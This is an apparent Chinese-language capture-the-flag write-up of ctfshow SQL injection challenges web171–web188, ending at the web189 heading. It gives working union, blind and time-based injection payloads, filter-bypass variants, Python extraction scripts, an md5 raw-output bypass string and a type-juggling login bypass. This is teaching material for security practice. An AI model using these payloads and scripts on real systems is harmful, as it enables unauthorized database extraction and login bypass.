ctfshow SQL

刷一刷ctfshow的sql题,提升一下sql方面的缺陷

web171

进入后题目给出了sql注入的语句

1
select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;

构造一下payload

1
2
3
4
5
6
1' order by 4 %23 # 查询列数
-1' union select 1,2,3 %23 # 查回显点
-1' union select 1,database(),3 %23 # 爆库名
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 %23 # 爆表名
-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user'),3 %23 # 爆列名
-1' union select 1,(select group_concat(username,0x7e,password) from ctfshow_user),3 %23 # 爆数据

最后得到flag

ctfshow{50392f35-7412-4264-833f-ae36542013f0}

web172

进入题目就看到一只可爱的小猫在晃,小猫咪虽然很可爱,但是还是得先写题

进到select模块的无过滤注入2

跟上题一样,但是回显点变为了两个

web173

这题也跟171一样,但是返回结果那过滤了flag

也很简单,我们只需要去掉username的查询就好了,因为flag在username里

web174

测试了几下发现没数据,抓包发现了一个奇怪的网址

http://0587e034-2714-4282-bc5a-d4809dad6807.challenge.ctf.show:8080/api/v4.php?id=1

有回显了,但是不是我们想要的,用盲注整整

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests


def main():
url = "url_here?id=1' and "
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
}
result = ""
print("[*] StartAttack")
left_base = 32
right_base = 128
for x in range(1, 200):
left = left_base
right = right_base
while left < right:
mid = int((left + right) / 2)
datasql = f'if(ascii(substr((select password from ctfshow_user4 limit 24, 1),{x},1))>{mid},1,0) %23'
response = requests.get(url+datasql)
if "admin" in response.text:
left = mid + 1
else:
right = mid
# print(f"[+] left={left}, right={right}")
result += chr(int((left + right) / 2))
print(f"[*] Result now is: {result}")
print("[+] EndAttack!")


if __name__ == '__main__':
main()

web175

这次没回显了,试试时间盲注

这里是代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import time


def main():
url = "url_here?id=1' and "
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
}
result = ""
print("[*] StartAttack")
left_base = 32
right_base = 128
for x in range(1, 200):
left = left_base
right = right_base
while left < right:
mid = int((left + right) / 2)
startTime = time.time()
datasql = f'if(ascii(substr((select password from ctfshow_user5 limit 24, 1),{x},1))>{mid},sleep(2),0)%23'
response = requests.get(url+datasql)
endTime = time.time()
try:
r = requests.get(url+datasql, timeout=0.5)
right = mid
except Exception:
left = mid + 1
# print(f"[+] left={left}, right={right}")
if left != 32:
result += chr(int((left + right) / 2))
else:
break
print(f"[*] Result now is: {result}")
print("[+] EndAttack!")


if __name__ == '__main__':
main()

web176

这题简单的过滤了一下关键字,把select过滤了,但是没事

试试大写绕过

1
2
999' union Select 1,2,3 %23 # 成功得到回显
999' union Select 1,(Select group_concat(username,0x7e,password) From ctfshow_user),3%23 # 爆出flag

web177

这题过滤了空格,用/**/绕过

1
999'/**/union/**/select/**/1,(select/**/group_concat(username,0x7e,password)/**/From/**/ctfshow_user),3%23 # 爆出flag

web178

过滤了空格和*号,转用%09绕过

1
999'%09union%09Select%091,(Select%09group_concat(username,0x7e,password)%09From%09ctfshow_user),3%23 # 爆出flag

后面发现,其实还可以这样写

1
1'or'1'='1'%23 # 非预期解

web179

这题把%09也给过滤了,但是还有多种姿势

解法一

可以用上面的非预期直接一把梭

1
1'or'1'='1'%23 # 非预期解

解法二

用%0c绕过

1
1'%0cor%0c1=1%23

解法三

用()绕过

1
1'or(1=1)%23

web180-182

把大部分空格都过滤掉了(180还把%23也过滤了

这里采用Y4师傅的解法

1
'or(id=26)and'1'='1

解释一下就是

1
2
3
4
5
6
7
-1'or(id=26)and'1'='1 # 输入进去之后
# sql请求语句
where username !='flag' and id = ''or(id=26)and'1'='1'
# 因为and的优先级比or大,所以相当于
where (username !='flag' and id = '') or (id=26and'1'='1')
# 因为or左边为false,但是右边为true,所以where的条件为true
# tips:id=26正好还是flag的元组,实在是太女少了

web183

输入ctfshow_user发现有回显,而且where可控

整个盲注脚本跑出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url = 'url_here'
flagstr = '{cqwertyuiopasdfghjklzxvbnm-0123456789}'
result = 'ctfshow{'

for i in range(1, 200):
print(f"The number is: {i}")
for j in flagstr:
data = {
'tableName': f"(ctfshow_user)where(pass)like'{result+j}%'"
}
response = requests.post(url=url, data=data)
if "$user_count = 1;" in response.text:
result += j
print(f"[+] Result now is: {result}")
break
elif "}" in result:
exit()

web184

这题过滤了更多的东西,把where也过滤了,但是把空格放出来了

这里查到了两种解法

解法一

解法一是参照Y4师傅的用right by进行查询

这里是盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

url = 'url_here'
flagstr = '{cqwertyuiopasdfghjklzxvbnm-0123456789}'
result = 'ctfshow{'


def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])


for i in range(1, 200):
print(f"The number is: {i}")
for j in flagstr:
data = {
'tableName': "ctfshow_user as a right join ctfshow_user as b on b.pass like {}".format("0x"+str_to_hex(result+j+"%"))
}
response = requests.post(url=url, data=data)
if "$user_count = 43;" in response.text:
result += j
print(f"[+] Result now is: {result}")
break
elif "}" in result:
exit()

解法二

因为count是聚合函数,所以也可以用group by,having来查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

url = 'url_here'
flagstr = '{cqwertyuiopasdfghjklzxvbnm-0123456789}'
result = 'ctfshow{'


def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])


for i in range(1, 200):
print(f"The number is: {i}")
for j in flagstr:
data = {
'tableName': "ctfshow_user group by pass having pass like {}".format("0x"+str_to_hex(result+j+"%"))
}
response = requests.post(url=url, data=data)
if "$user_count = 1;" in response.text:
result += j
print(f"[+] Result now is: {result}")
break
elif "}" in result:
exit()

web185-186

这题过滤了更多的东西,甚至把数字都过滤了_(¦3」∠)_

去搜了搜,在Y4师傅那里发现了一张图

发现可以上true

这里是脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests

url = 'url_here'
flagstr = '{cqwertyuiopasdfghjklzxvbnm-0123456789}'
result = 'ctfshow{'


def Num(n):
num = "true"
if n == 1:
return num
else:
for i in range(n - 1):
num += "+true"
return num


def Numstr(s):
str = ""
str += "chr("+Num(ord(s[0]))+")"
for i in s[1:]:
str += ",chr("+Num(ord(i))+")"
return str


for i in range(1, 200):
print(f"The number is: {i}")
for j in flagstr:
data = {
'tableName': "ctfshow_user group by pass having pass like(concat({}))".format(Numstr(result+j+"%"))
}
# print(data)
response = requests.post(url=url, data=data)
if "$user_count = 0;" not in response.text:
result += j
print(f"[+] Result now is: {result}")
break
elif "}" in result:
exit()

web187

绕过md5($str,true),直接用户名填写admin密码为ffifdyop

原理的话在这里[SQL绕过]md5($str,true)类型绕过

然后F12抓个包就可以看到flag了

web188

这题是纯知识盲区∑(っ°Д°;)っ

咱们可以这样子

1
username=0&password=0

为什么呢↓

在sql查询时,where username=0这样的查询中,因为数据库里的username都会是字符串,而在mysql中字符串与数字进行比较的时候,以字母开头的字符串都会转换成数字0,因此这个where条件可以把所有以字母开头的数据查出来

passwor=0则是因为

1
2
$row['pass']==intval($password) # 弱类型比较
# 因为pass查出来的数据也会是以字母开头的,所有password=0可以利用弱类型比较得到flag

而这样也可以把东西查出来

1
2
username=1<1&password=0
username=1||1&password=0

web189